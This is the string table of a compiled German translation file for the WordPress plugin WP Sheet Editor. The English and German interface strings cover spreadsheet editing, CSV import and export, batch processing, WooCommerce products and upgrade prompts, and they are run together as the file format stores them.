find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will delete the selected row(s) from the database completely. If you want to restore them later, you should make a backup before. Do you want to delete them?We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will prepend the new file(s) to the existing media file(s).We will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What columns do you want to export?What component do you need?What date format do you want to save in the database?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What valued is saved when the checkbox is checked?What valued is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYou are not allowed to do this action. Please reload the page or log in again.You can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You haven't saved formulas yet.You must enter the full hierarchy like parent > childYou must use it privately for security reasons, this link expires after one usage.You need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{updated} items saved of {total} items that need saving.Project-Id-Version: WP Sheet Editor 2.21.3 Report-Msgid-Bugs-To: Language-Team: Hanno Bolte IT Consulting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PO-Revision-Date: 2020-11-06 09:41+0100 X-Generator: Poedit 2.4.1 Last-Translator: Hanno Bolte Plural-Forms: nplurals=2; plural=(n != 1); Language: de_DE (Du kannst diese Hilfemitteilungen in den erweiterten Einstellungen entfernen) (Premium. 7 Tage lang kostenlos testen) Wenn er nicht automatisch startet, findest du die Datei im Ordner /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ auf deinem Server.

                  Die Exportdateien werden nach %d Stunden automatisch gelöscht. Einige Spalten haben die Schaltfläche , um die Formatierung zu ändern%d von %d Elementen sind aus der Datei verarbeitet worden. {total_updated} Elemente wurden aktualisiert und {total_created} Elemente wurden erstellt.%s Zeilen werden bearbeitet.%s Variationen erstellt.%s: Zugelassene Arbeitsblattansichten(Kostenlose Erweiterung installieren)(Pro-Erweiterung)- -- Bearbeite zunächst ein Element im normalen Editor, und fülle alle Felder manuell aus.- Wenn die vorherige Lösung fehlgeschlagen ist, kannst du manuell neue Spalten erstellen.- Vielleicht hast du die Spalten aus der Liste gelöscht.- Wir können dir helfen.- Wir können die Datenbank scannen, neue Felder finden und automatisch Spalten erstellen--. Lite-Version. Zeigt alle Produkte und alle Felder als Spalten an. 15 Spalten sind editierbar, die restlichen sind schreibgeschützt.
                  Upgrade:
                  Bearbeitung in Excel/Google Sheets, Export, Import, Massenbearbeitung von Tausenden von Produkten auf einmal.. Upgrade: Export, Import, Bearbeitung in Excel oder Google Sheets; Massenbearbeitung von Tausenden von Zeilen auf einmal, Bearbeitung aller Felder aus anderen Plugins und mehr. Upgraden und tagelange Arbeit sparen. Füge untergeordnete Kategorien in diesem Format hinzu: Hauptkategorie > Unterkategorie1 > Unterkategorie2. Wir empfehlen dir, den Serverspeicher auf mindestens 256 MB zu erhöhen, um Serverfehler zu vermeiden. Anleitung...0 Zeilen1. Öffne Google Sheets.
                  2. Klicke auf "WP Sheet Editor" im Menü
                  3 . Gib diesen Link in die Option "Schnellzugriff" in der Seitenleiste von Google Sheet ein.1. Lesen wir die Datei richtig? Hier ist eine Vorschau der ersten 5 Zeilen aus der Datei.2. Bitte mach vor dem Ausführen des Imports eine Sicherheitskopie, damit du den Vorgang im Falle falscher Einstellungen oder einer falschen Datei rückgängig machen kannst. Durch den Import werden die Informationen direkt gespeichert.WeiterlesenDas gesamte Änderungsprotokoll anzeigenBearbeiten des Feldes {field_label}Geld-zurück-Garantie. Kauf das Plugin bedenkenlos. Wir geben dir eine Rückerstattung, wenn das Plugin nicht funktioniert.Tipp von WP Sheet Editor: Bearbeite Tausende von Kategorien auf einmal, führe erweiterte Suchen durch, zeige alle Informationen auf einer Seite an, und mehr.Tipp von WP Sheet Editor: Du kannst alle Benutzer in einer Tabelle anzeigen, Tausende von vollständigen Profilen anzeigen, Hunderte von Benutzern auf einmal bearbeiten, ohne dass dein Server abstürzt, alle Versand-/Rechnungs-/BuddyPress-Informationen anzeigen. Führe erweiterte Suchvorgänge durch, erstelle Hunderte von Benutzern, und mehr. Plugin herunterladenTipp von WP Sheet Editor: Du kannst Produktvarianten in einem Arbeitsblatt anzeigen und bearbeiten, eine Massenbearbeitung durchführen, erweiterte Suchen durchführen, Hunderte von Varianten auf einmal bearbeiten, Varianten auf mehrere Produkte kopieren usw. Plugin herunterladenTipp: Die Formelausführung ist zu langsam? Speichere mehr Positionenje Verarbeitungszyklus
                  Du erhältst Fehler bei der Ausführung der Formel? Speichere weniger Positionenje VerarbeitungszyklusTipp: Das Speichern ist zu langsam? Speichere mehr Positionenje Verarbeitungszyklus
                  Du erhältst Fehler beim Speichern? Speichere weniger Positionenje VerarbeitungszyklusWP Sheet Editor: Du kannst all diese Varianten ansehen und sie alle auf einmal in unserem Arbeitsblatt bearbeiten. Im Arbeitsblatt öffnen
                  Verwende den Gutschein: %s

                  Der Export ist abgeschlossen.

                  Der Download sollte automatisch starten.

                  Fehlende Spalte?

                  oder
                • Shop-Manager können WooCommerce-Produkte anzeigen und bearbeiten.
                • Füge dem Arbeitsblatt ein "Duplikat"-Werkzeug hinzu. Du kannst eine Zeile auswählen (Beitrag, Produkt, Gutschein usw.) und viele Kopien erstellen.

                  Beispiel. Erstelle 100 Produkte mit den gleichen Tags, Abmessungen, Attributen und Variationen. Und ändere nur ein paar Felder manuell.

                  Advanced Custom Fields-Metaboxen werden automatisch im Arbeitsblatt angezeigt. So kannst du benutzerdefinierte Felder einfach bearbeiten.

                  Erstelle neue Arbeitsblätter mit benutzerdefinierten Spalten und teile die Arbeitsblätter im Frontend mit deinen Benutzern oder Mitarbeitern. Nützlich für Marktplätze, auf denen Anbieter Produkte im Arbeitsblatt bearbeiten, Nachrichten oder Veranstaltungseinträge im Frontend zulassen, Veranstaltungsverzeichnisse, Webanwendungen, benutzerdefinierte Dashboards usw.

                  Bearbeite Hunderte von Beiträgen mit nur wenigen Klicks auf einmal. Suchen und ersetzen, Ersetzen von URLs und Ausdrücken, Massenspeicherung von Werten in Felder, Kopieren von Werten zwischen Feldern, Zusammenführen von Feldern usw.

                  Beispiele: Normalen Preis in Sonderpreis kopieren, Produktattributnamen aktualisieren usw.

                  Bearbeite Hunderte von Beiträgen auf einmal. Aktualisiere numerische Felder mit erweiterten mathematischen Formeln. Beispiel: Preise um 10% erhöhen, Inventar verwalten usw. Führe beliebige mathematische Formeln aus.

                  Du kannst mehrere Felder in der Formel verwenden, z.B. "Normalpreis x Bestand / Sonderpreis"

                  Bearbeite SEO-Titel, Beschreibung, Schlüsselwort und SEO-Punktzahl im Arbeitsblatt

                  Bearbeite WooCommerce-Produkte im Arbeitsblatt. Alle Arten von Produkten, einschließlich variabler Produkte, herunterladbarer Produkte, externer Produkte und einfacher Produkte werden unterstützt. Du kannst alle Produktfelder im Arbeitsblatt bearbeiten, einschließlich Attribute, Bilder usw.

                  Bearbeite WordPress-Benutzer im Arbeitsblatt, bearbeite nur grundlegende Profile und führe einfache Suchvorgänge durch.

                  Bearbeite WordPress-Benutzer im Arbeitsblatt. Bearbeiten der GESAMTEN Benutzerprofile, einschließlich benutzerdefinierter Felder. Füge neue Spalten zum Arbeitsblatt hinzu, gut für E-Commerce-Läden, Mitglieds-Websites, Veranstaltungsverzeichnisse, Unternehmensverzeichnisse, Benutzerverzeichnisse

                  Bearbeite Standard-Beitragsfelder im Arbeitsblatt.

                  Bearbeite Speisekarten, Kurse, Projekte, Portfolios und alle benutzerdefinierten Beitragsarten.

                  Suche Beiträge nach Stichwort, Taxonomien, Autor, Datum, Status oder benutzerdefinierten Feldern.

                  Suche in mehreren Feldern mit erweiterten Operatoren: =, !=, <, >, LIKE, NOT LIKE

                  Beispiele: Finde Produkte aus der Kategorie Audio mit Lagerbestand < 20, oder Produkte aus der Kategorie Apple ohne Beitragsbild, oder Produkte ohne Bildergalerie, die das Schlüsselwort "Google" enthalten.

                  Es ist die beste Möglichkeit, deine Kommentare, WooCommerce-Kundenbewertungen, Veranstaltungsbesprechungen, Erfahrungsberichte und Bestellnotizen in einem Arbeitsblatt zu verwalten. Du kannst eine erweiterte Suche nach jedem Feld durchführen (Stichwort, Bestellhinweis, Status, Kommentare nach Beitragsart und alle Felder). Du kannst sie massenweise bearbeiten, alles auf einmal löschen, nach Excel oder in externe Systeme exportieren, Kommentare und Bewertungen aus anderen Systemen importieren und mehr.

                  Ein Arbeitsblatt für jede benutzerdefinierte Datenbanktabelle, die von anderen Plugins hinzugefügt wurde. Live-Bearbeitung in den Zellen, Massenbearbeitung, erweiterte Suche nach beliebigen Feldern, Export und Import, Massenlöschung, Verschieben von Informationen zwischen Websites, Bearbeiten von Tausenden von Elementen und mehr.

                  Ein Arbeitsblatt für Kategorien, Tags, Produktattribute, Ereigniskategorien, Portfoliokategorien, Realstate-Tags usw. Zeigen und bearbeiten aller Elemente an einem Ort, Copy/Paste, schnelles Hochladen von Kategoriebildern, Hinzufügen von Beschreibungen, Bearbeiten von SEO usw.

                  Ändere die Größe der Spalten im Arbeitsblatt, und speichere sie für zukünftige Sitzungen.

                  Suche im Arbeitsblatt. Suche Beiträge nach Stichwort, Status und Autor.

                  Zeige WooCommerce-Gutscheine in einem Arbeitsblatt an. Bearbeite alle Gutscheinfelder; erweiterte Suche nach einem beliebigen Feld, automatische Generierung von Hunderten von Gutscheinen, Aktualisierung von Hunderten von Gutscheinen auf einmal und mehr.

                  Zeige alle EDD-Produkte in einem Arbeitsblatt an, erstelle Downloads und Dateien in großen Mengen, bearbeite Hunderte von Produkten auf einmal mit Hilfe von Formeln, erweiterte Suche mit mehreren Feldern usw.

                  Zeige alle Ereignisse in einem Arbeitsblatt an, erstelle Ereignisse in großen Mengen, bearbeite Hunderte von Ereignissen gleichzeitig mit Hilfe von Formeln, führe erweiterte Suchvorgänge über mehrere Ereignisfelder durch usw.

                  Zeige alle deine Kunden in einem Arbeitsblatt an. Vollständiges Profil anzeigen, Profile schnell bearbeiten, Rechnungs- und Versandinformationen anzeigen, erweiterte Kundensuche durchführen, Kunden nach Excel oder Google Sheets exportieren, Kunden aus externen Anwendungen importieren

                  Alle Bestellungen schnell einsehen und versenden. Erweiterte Suche nach beliebigen Feldern (Versandart, Steuern, MwSt., Zahlungsmethoden, Kunden, Produkte usw.), Exportieren von Bestellungen und Kundeninformationen einschließlich Gastkunden; schnelles Bearbeiten von Tausenden von Bestellungen und mehr.

                  Zeige das Bild, Videos und alle Dateien aus der WP-Medienbibliothek in einem Arbeitsblatt an. Bearbeite alle Dateifelder, einschließlich Alt-Text, Bildunterschriften, Dateibeschreibungen; erweiterte Suche nach beliebigen Feldern, automatische Generierung von Alt-Text, Untertiteln usw. unter Verwendung von übergeordnetem Beitragstitel oder Beitragskategorie; aktualisieren von Tausenden von Dateien auf einmal und mehr.

                  Du kannst Zellen automatisch ausfüllen (kopieren), indem du die Zellenecke in andere Zellen ziehst, wie du es in Excel tun kannst.

                  Du kannst Spalten für benutzerdefinierte Felder erstellen.
                  Bearbeite Seiteneinstellungen, die durch dein Thema hinzugefügt wurden, Veranstaltungsdetails, Produktinformationen usw.

                  Du kanst die Spalten des Arbeitsblatts umbenennen.
                  Beispiel. Anstatt "Verfasser des Beitrags" im Arbeitsblatt anzuzeigen, kannst du es zu "Hochgeladen von" ändern.

                  Du kannst Spalten im Arbeitsblatt ein- und ausblenden und sortieren.

                  Bearbeitung des Feldes: {column_label}. Zu bearbeitende Punkte: {total}, Fortschritt: {progress_percentage}%%, Wir haben {edited} Punkte aktualisiert.

                  1- Bitte sichere deine Datenbank vor der Ausführung, die Änderungen sind nicht umkehrbar.

                  2- Stell vor der Ausführung sicher, dass die Massenbearbeitungseinstellungen korrekt sind.

                  Vollständig

                  .

                  Kostenlose Erweiterungen

                  Das automatische Speichern ist fehlgeschlagen. Deine Änderungen wurden aufgrund eines Fehlers nicht vollständig gespeichert. Du kannst es später erneut versuchen; wenn der Fehler weiterhin besteht, kontaktiere unser Support-Team und lass diese Registerkarte geöffnet

                  Die Massenbearbeitung wurde nicht vollständig abgewickelt. Der Vorgang wurde aufgrund eines Fehlers abgebrochen.

                  Du kannst dieses Fenster schließen.

                  Die Änderungen wurden nicht vollständig gespeichert. Der Vorgang wurde aufgrund eines Fehlers abgebrochen.

                  Du kannst dieses Popup schließen.

                  Der Import ist abgeschlossen

                  Der Prozess wurde nicht abgeschlossen. Der Prozess wurde aufgrund eines Fehlers abgebrochen.

                  Du kannst dieses Fenster schließen.

                  Der Prozess ist abgeschlossen

                  Du kannst nur einfache Produkte bearbeiten. Verfügbare Spalten: Titel, URL, Beschreibung, Datum, SKU, regulärer Preis, Sonderpreis, Lagerstatus, Lagerbestand verwalten, Lagermenge.

                  Weitere Spalten und Produkttypen als Premium-Erweiterung verfügbar.

                  Verdienen wir eine 5-Sterne-Bewertung? Ja, ihr habt sie verdient. - . NeinEs fehlt eine Spalte?Es fehlt eine Spalte? Aktiviere sieEs fehlt ein Feld? Klick hierBeitrag von diesem Beitragstyp annehmenVollbild aktivierenAktiviere diese Option, um die Schaltflächen für die Seitennummerierung zu entfernen und Zeilen automatisch zu laden, wenn du nach unten scrollst. Du siehst dann alle Zeilen gleichzeitig, Du kannst problemlos Tausende von Zeilen laden.Aktive Filter:Aktiv.Neu hinzufügenNeue Spalten zum Arbeitsblatt hinzufügenNeues Arbeitsblatt hinzufügenFüge einen Namen für diese Gruppe von Spalten hinzuFüge am Anfang oder am Ende deiner Beiträge Aufrufe zu Aktionen oder beliebige Texte hinzuFüge Spalten für benutzerdefinierte Felder hinzuFüge Stunden, Tage, Wochen, Monate oder Jahre zu den vorhandenen Daten hinzu.
                  Wenn das bestehende Datum leer ist, verwenden wir das aktuelle Datum als Basis.Neu hinzufügenNeue Spalte hinzufügenNeuen Beitragstyp hinzufügenNeue Beiträge hinzufügenFüge diesen Code am Anfang der .htaccess-Datei im Stammverzeichnis deiner Website ein. Er ist für die Authentifizierung von Anfragen zwischen Google Sheets und WordPress erforderlichUhrzeit zu bestehenden Daten hinzufügenAdministratoren können alles anzeigen und bearbeiten.Erweiterte benutzerdefinierte FelderErweiterte SucheErweiterte EinstellungenErweiterter ModusErweiterte SucheErweiterte EinstellungenAlleAlle ArbeitsblätterAlle Änderungen gespeichert.Alle Elemente wurden gespeichert.Alle im Backend-Arbeitsblatt verfügbaren Funktionen können im Frontend-Arbeitsblatt verwendet werden.Alle Parameter werden für die Suche nach Variationen anstelle der Hauptprodukte verwendet.Alle Produkte im GeschäftAlle variablen ProdukteZulassenLieferrückstand zulassenMehrere Dateien je Feld zulassen?Mehrere Beiträge je Feld zulassen?Bearbeitung mit Hilfe von Formeln zulassen?Ausblenden einer Spalte zulassen?Darf diese Spalte auf der Einstellungsseite ausgeblendet werden?Import von Bildern von FTP-Servern zulassen?Umbenennung von Spalten auf der Einstellungsseite zulassen?Umbenennen von Spalten zulassen?Erlaube deinen Benutzern, benutzerdefinierte Felder zu bearbeiten, dem Editor neue Spalten hinzuzufügen, Felder zu aktivieren, Kernfelder zu deaktivieren und Felder zu sortieren. Du kannst den Frontend-Editor vollständig anpassen.Erlaube deinen Kunden, WooCommerce-Produkte mit Hilfe des Arbeitsblatts ohne WP-Admin zu bearbeitenErlaube deinen Marktplatz-Verkäufern die Massenbearbeitung ihrer ProdukteErlaube deinen Marktplatz-Verkäufern, Produkte über das Frontend zu importierenErlauben deinen Lesern, Blog-Beiträge mit Hilfe des Arbeitsblatts zu übermittelnErmögliche deinen Kunden das Herunterladen des KatalogsErlaube deinen Kunden, erweiterte Katalogsuchen durchzuführen Ermögliche deinen Mitarbeitern die Verwaltung von Lagerbeständen und PreisenErlaube deinen Besuchern, Veranstaltungen zu veröffentlichenZulassen, aber Kunde benachrichtigenErlaubte WerteAlternativtextUnd mehr.Und eine Vorschau während der Bearbeitung sehenEiner dieser Werte (Gib mehrere durch ; getrennte Werte ein)AnhängenAnwendung/SoftwareÄnderungen insgesamt anwendenEinstellungen anwendenAnwenden auf:Bist du sicher, dass du die Beitragsart löschen möchtest? Du löschst damit auch die Beiträge mit dieser BeitragsartBist du sicher, dass du diese Spalte löschen möchtest?Eigenschaft %d StandardEigenschaft %d globalEigenschaft %d NameEigenschaft %d Wert(e)Eigenschaft %d sichtbarEigenschaft NameEigenschaft Wert(e)Eigenschaft SichtbarkeitEigenschaftenEigenschaften erscheinen als Dropdowns auf der Produktseite, wo der Benutzer die unterschiedlichen Farben, Größen und jedes Attribut auswählen kann. Hier kannst du die in den Dropdown-Listen ausgewählten Standardoptionen definieren.
                  Separate Werte mit dem Zeichen %s
                  . Dies funktioniert nur für variable Produkte und muss Variationen haben, sonst werden die Standardattribute nicht gespeichert.AutorAutoren können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder können hochgeladen werden.Automatische Wiederholung fehlgeschlagener Vorgänge?Zellen automatisch füllenAutomatischVerfügbare KomponentenVerfügbare ArbeitsblätterVerfügbare Werkzeuge (optional)Durchschnittliche BewertungBackendLieferrückstand erlauben?Einfache SucheDiese Spalten auf die schwarze Liste setzenMehrereMassen-BearbeitungMassen-Update-FunktionMassenaktionenSpalte insgesamt bearbeitenMassenbearbeitung nicht ausgeführt. Es wurden keine Elemente gefunden, die den Kriterien entsprechen.KaufenBundle kaufenErweiterung jetzt kaufen!Standardmäßig zeigt WordPress einen schwarzen Balken oben auf der Seite an, wenn ein angemeldeter Benutzer eine Frontend-Seite aufruft. Über den Balken kannst du auf WP-Admin zugreifen, dich abmelden, die aktuelle Seite bearbeiten usw. Wenn du diese Option aktivierst, wird dieser Balken ausgeblendet, und du kannst den Shortcode [vg_display_logout_link] verwenden, um den Logout-Link anzuzeigen.Standardmäßig werden Datumsangaben in einem Kalender angezeigt, Beitrags-Inhalte haben eine Texteditor-Option, Bilder werden als Vorschau angezeigt usw. Du kannst diese Option aktivieren, um alles als reinen Text anzuzeigen, und die gefällige Formatierung zu deaktivieren.Standardmäßig zeigen wir automatisch Spalten für alle neu gefundenen Felder an, so dass du jedes Mal, wenn wir neue Felder entdecken, diese sehen und sofort bearbeiten kannst. Aber dies könnte deine Spaltensortierung stören oder dich ärgern, wenn du bestimmte Spalten aktiviert hast. Aktiviere diese Option, um diese Spalten zu generieren, aber sie deaktiviert zu belassen, damit du sie später aktivieren kannst.Standardmäßig zeigen wir in einigen Spalten Kommentare an, die das Format eines Wertes oder den Grund angeben, warum sie gesperrt sind. Beispielsweise zeigt die Kategorie-Spalte einen Hinweis, dass Begriffe durch Kommata getrennt werden sollen, und wie untergeordnete Kategorien hinzugefügt werden können; Spalten für Varianten haben einen Hinweis, der anzeigt, warum sie für übergeordnete Produkte gesperrt sind. Du kannst diese Option aktivieren, um die Hinweise zu deaktivieren.Standardmäßig zeigen wir die KERN-Zustände an: veröffentlicht, Entwurf, privat, geplant, Papierkorb. Einige Plugins speichern jedoch benutzerdefinierte Zustände: Job-Manager, Woocommerce. Aktiviere diese Option, um alle benutzerdefinierten Zustände in der Spalte "Status" anzuzeigen. AUFPASSEN. Wir zeigen in der Dropdown-Liste alle Zustände aller Beitragstypen an, weil es unmöglich ist, den Beitragstyp jedes Zustands zu kennen, deshalb können wir sie nicht unterscheiden. Tu dies nur, wenn du ein Entwickler bist.Standardmäßig zeigen wir die Kategorien als durch Kommata getrennte Namen an. Aktiviere diese Option, um Begriffs-IDs getrennt durch Kommata anzuzeigen und zu speichern.Standardmäßig verwenden wir eine unendliche Liste von Zeilen, und wir laden jedes Mal mehr Zeilen, wenn du nach unten scrollst. Du kannst diese Option aktivieren, um Links zur Seitennummerierung anzuzeigen und die unbegrenzte Liste zu deaktivierenStandardmäßig verwenden wir eine unendliche Liste von Zeilen und wir laden jedes Mal mehr Zeilen, wenn du nach unten scrollst. Du kannst diese Option aktivieren, um Links zur Seitennummerierung anzuzeigen, und die unbegrenzte Liste zu deaktivieren.Standardmäßig kopieren wir alle Attribute und alle Variationen und ersetzen die vorhandenen Variationen. Du kannst diese Option aktivieren, um einzelne Varianten zu kopieren und an die vorhandenen Varianten des Zielproduktes anzuhängen.Standardmäßig erlaubt die Importroutine das Speichern von Bildern unter Verwendung vollständiger interner URLs, externer URLs, des Dateinamens (aus der Medienbibliothek) und der Datei-ID. Wenn du diese Option aktivierst, werden FTP-URLs wie diese unterstützt: ftp://user:password@host:port/path/to/image.png. Dadurch wird der Import langsamerStandardmäßig exportieren und importieren wir eine Spalte namens "Bilder", in der das Beitragsbild und Galeriebilder kombiniert sind. Aktiviere diese Option, um eine Spalte mit dem Beitragsbild und eine Spalte mit Galeriebildern zu exportieren und zu importierenStandardmäßig zeigen wir die Feldbezeichnung in der Zelle anstelle des Rohwerts an. Du kannst diese Option jedoch aktivieren, um den Rohwert in den Zellen anzuzeigen.Standardmäßig fügen wir die Datei-ID zu jeder Bild-URL hinzu, wenn du die Spalte mit den Beitragsbildern oder Galeriebildern exportierst, damit wir sie später schneller importieren können. Du kannst diese Option aktivieren, um die Datei-ID nicht hinzuzufügen; der Import wird später problemlos funktionieren, aber nicht so schnell seinStandardmäßig stoppt der Import, wenn ein Produkt auf ein defektes Bild verweist, und du musst das Problem in der Datei korrigieren und einen neuen Import starten. Aktiviere diese Option, um Produkte ohne Bilder zu importieren, wenn die Bild-URL defekt istCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV-SpalteCSV-FeldCSV-DateiCSV-Datei von meinem ComputerCSV-Datei von URLCSV-Datei auf dem ServerSpeicherort der CSV-DateiKalenderAbbrechenImport abbrechenÄnderungen abbrechen und Popup schließenSchreibe den ersten Buchstaben jedes Wortes im Feld groß. D.h. wandle "mein Titel" in "Mein Titel" um.Wörter groß schreibenUntertitelVorsicht: Die Änderungen sind nicht umkehrbar. Bitte überprüfe sie noch einmal, bevor du fortfährst.Name der Kategorie...ZellentypAttribut-Einstellungen ändernÄnderungen gespeichertÄnderungen erfolgreich gespeichertKontrollkästchenWert löschenKlick hier, um wieder alle Spalten anzuzeigenVermiedene Klicks
                  (geschätzt)SchließenSpaltenformatSpaltenschlüsselSpaltennameSpalte nicht gefunden. Versuch es mit anderen Suchkriterien.Spalte entfernt. Geh zu "Einstellungen > Spalten ein-/ausblenden", um sie wieder zu aktivierenSpaltenbreite (Pixel)Die Spalten konnten nicht gespeichert werden. Versuch es noch einmal.Begrenzung der SpaltenSpalten-ManagerUmbenennung von SpaltenGrößenänderung von SpaltenSpalten erfolgreich wiederhergestellt, bitte lade die Seite neu, um die wiederhergestellten Spalten zu sehen und sie zu aktivierenSichtbarkeit der SpaltenSichtbarkeit der Spalten und benutzerdefinierte Felder (optional)KommentareArbeitsblatt für Kommentare, Bewertungen und BestellhinweiseKontaktiere unsEnthält SchlüsselwortInhaltWeiterBeitragende können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder können nicht hochladen werden.Aus einem anderen Arbeitsblatt oder einer Tabelle kopieren und einfügenIn das Arbeitsblatt unten kopieren und einfügenAus diesem Produkt Dateien kopieren: (Du musst die Änderungen anschließend speichern)Aus anderen Spalten kopierenAus dieser Spalte kopierenNormalen Preis kopieren und prozentual verringernNormalen Preis kopieren und Anzahl verringernDen Wert anderer Felder in dieses Feld kopieren.
